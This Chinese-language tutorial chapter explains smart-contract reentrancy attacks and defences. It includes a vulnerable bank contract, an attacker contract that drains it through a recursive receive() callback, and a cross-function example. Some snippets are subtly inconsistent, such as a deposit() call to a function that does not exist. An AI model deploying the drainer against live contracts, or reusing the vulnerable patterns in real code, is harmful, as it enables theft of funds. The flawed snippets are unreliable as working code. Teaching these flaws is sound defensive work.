3、重入攻击原理与实战:单函数重入、跨函数重入、重入锁与检查-效果模式

重入攻击,说白了就是合约在调用外部合约时,被对方反过来又调用了自己。这就像你打电话给朋友,结果朋友在电话里又拨通了你的号码——你俩就陷入了死循环。在智能合约的世界里,这种循环往往意味着资金被盗。

我最早接触这个漏洞是在一个DeFi项目的审计中。当时看到一个提现函数,逻辑很简单:先转账,后更新余额。我一看就警觉了——这不就是教科书式的重入漏洞吗?结果一查,项目方还真没做防护。嗯,今天我们就来彻底搞懂它。

3.1 单函数重入:最经典的攻击方式

单函数重入是最基础的形式。攻击者利用同一个函数内的外部调用,在状态更新前反复进入。

看个例子:

// 漏洞合约
contract VulnerableBank {
    mapping(address => uint) public balances;

    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount, "余额不足");

        // 先转账
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "转账失败");

        // 后更新状态
        balances[msg.sender] -= _amount;
    }
}

攻击者合约长这样:

contract Attacker {
    VulnerableBank public bank;

    constructor(address _bank) {
        bank = VulnerableBank(_bank);
    }

    // fallback 函数,收到ETH时自动触发
    receive() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw(1 ether);
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether, "至少存1个ETH");
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }
}

为什么会这样?因为call会把控制权交给接收方。攻击者的receive()函数在收到ETH后,又调用了withdraw()。而此时balances[msg.sender]还没扣减,所以又能通过检查。如此循环,直到合约余额被掏空。

核心问题:状态更新在外部调用之后。这是所有重入攻击的根源。

3.2 跨函数重入:更隐蔽的攻击手法

跨函数重入比单函数重入更狡猾。攻击者不是重复调用同一个函数,而是利用外部调用跳转到合约的另一个函数。

我记得审计过一个NFT市场合约,就踩过这个坑。合约里有buy()refund()两个函数,共享同一个状态变量。攻击者可以在buy()的外部调用中,触发refund()来修改共享状态。

contract CrossFunctionVulnerable {
    mapping(address => uint) public credits;
    bool public isRefunding;

    function buy(address _nft, uint _price) external {
        require(credits[msg.sender] >= _price, "积分不足");

        // 外部调用:转账给NFT卖家
        (bool success, ) = msg.sender.call{value: _price}("");
        require(success, "转账失败");

        // 扣减积分
        credits[msg.sender] -= _price;
    }

    function refund() external {
        require(!isRefunding, "正在退款中");
        isRefunding = true;

        uint amount = credits[msg.sender];
        // 外部调用
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "退款失败");

        // 清零积分
        credits[msg.sender] = 0;
        isRefunding = false;
    }
}

攻击者可以在buy()call中,通过fallback函数调用refund()。由于buy()还没扣减积分,refund()会拿到完整的积分进行退款。结果就是:攻击者既买了NFT,又拿到了全额退款。

注意:跨函数重入更难发现,因为攻击路径不是同一个函数。审计时一定要关注所有外部调用点,检查它们可能触发的其他函数。

3.3 重入锁:最直接的防御手段

重入锁的原理很简单:用一个状态变量标记合约是否正在执行。如果已经进入,就拒绝再次调用。

OpenZeppelin提供了现成的ReentrancyGuard

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SafeBank is ReentrancyGuard {
    mapping(address => uint) public balances;

    function withdraw(uint _amount) external nonReentrant {
        require(balances[msg.sender] >= _amount, "余额不足");

        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "转账失败");

        balances[msg.sender] -= _amount;
    }
}

nonReentrant修饰符的工作原理:

modifier nonReentrant() {
    require(_status != _ENTERED, "禁止重入");
    _status = _ENTERED;
    _;
    _status = _NOT_ENTERED;
}

我个人习惯在涉及外部调用的函数上都加上nonReentrant。哪怕你觉得这个函数不会被重入,也加上。为什么?因为合约升级后,函数逻辑可能变化,外部调用可能新增。提前加锁,省得以后踩坑。

小技巧:重入锁的变量要放在存储槽的最前面,避免被其他操作意外覆盖。OpenZeppelin的实现已经考虑到了这一点。

3.4 检查-效果模式:更优雅的解决方案

检查-效果模式(Checks-Effects-Interactions Pattern)是Solidity官方推荐的做法。核心思想是:先检查条件,再更新状态,最后进行外部交互。

说白了就是:把状态更新挪到外部调用之前。

contract SafeWithdraw {
    mapping(address => uint) public balances;

    function withdraw(uint _amount) external {
        // 第一步:检查
        require(balances[msg.sender] >= _amount, "余额不足");

        // 第二步:效果(更新状态)
        balances[msg.sender] -= _amount;

        // 第三步:交互(外部调用)
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "转账失败");
    }
}

这样改完之后,即使攻击者在call中再次调用withdraw(),余额已经扣减了,require检查会直接失败。

我曾经在一个跨链桥项目中看到过这种模式的应用。项目方把检查-效果模式用在了跨链消息处理上:先验证消息签名,再更新本地状态,最后才调用目标链。这种设计让整个系统安全了很多。

最佳实践:检查-效果模式 + 重入锁,双重保险。检查-效果模式解决逻辑问题,重入锁应对极端情况。两者配合使用,基本能堵住所有重入漏洞。

3.5 实战中的避坑指南

讲几个我实际踩过的坑:

  • 不要相信gas限制:有人觉得外部调用会消耗大量gas,攻击者无法循环太多次。但以太坊的gas上限足够攻击者循环几十次,每次提取少量ETH,积少成多。
  • 小心ERC777的钩子函数:ERC777代币在转账时会调用接收方的tokensReceived()钩子。这本质上也是一个外部调用,可能被利用进行重入攻击。我建议优先使用ERC20,或者对ERC777的钩子做重入保护。
  • 注意跨合约调用链:有时候重入攻击不是直接调用你的合约,而是通过中间合约绕一圈。审计时要画出完整的调用链,找出所有可能的回环路径。

我曾经... 审计过一个借贷协议,发现攻击者可以通过闪电贷+重入攻击的组合,在同一个交易中反复借贷、还款、提取抵押品。最终导致协议损失了约50万美元。教训就是:不要假设外部调用是安全的,永远假设对方会尝试重入。

3.6 总结

重入攻击的本质是状态更新滞后于外部调用。防御手段无非两种:

防御方式 原理 适用场景
检查-效果模式 先更新状态,后外部调用 所有涉及外部调用的函数
重入锁 用状态变量标记执行状态 复杂逻辑、跨函数调用场景

我个人建议:默认使用检查-效果模式,在关键函数上叠加重入锁。这不是过度设计,而是血的教训换来的经验。你想想看,一个重入漏洞可能让整个合约的资金归零,多花几分钟加个锁,值不值得?

下一章我们会讲整数溢出漏洞。这个漏洞在Solidity 0.8版本之后已经被内置检查解决了,但很多旧项目还在用0.7甚至更早的版本。到时候我会分享一个我在审计中发现的、因为整数溢出导致代币增发的案例。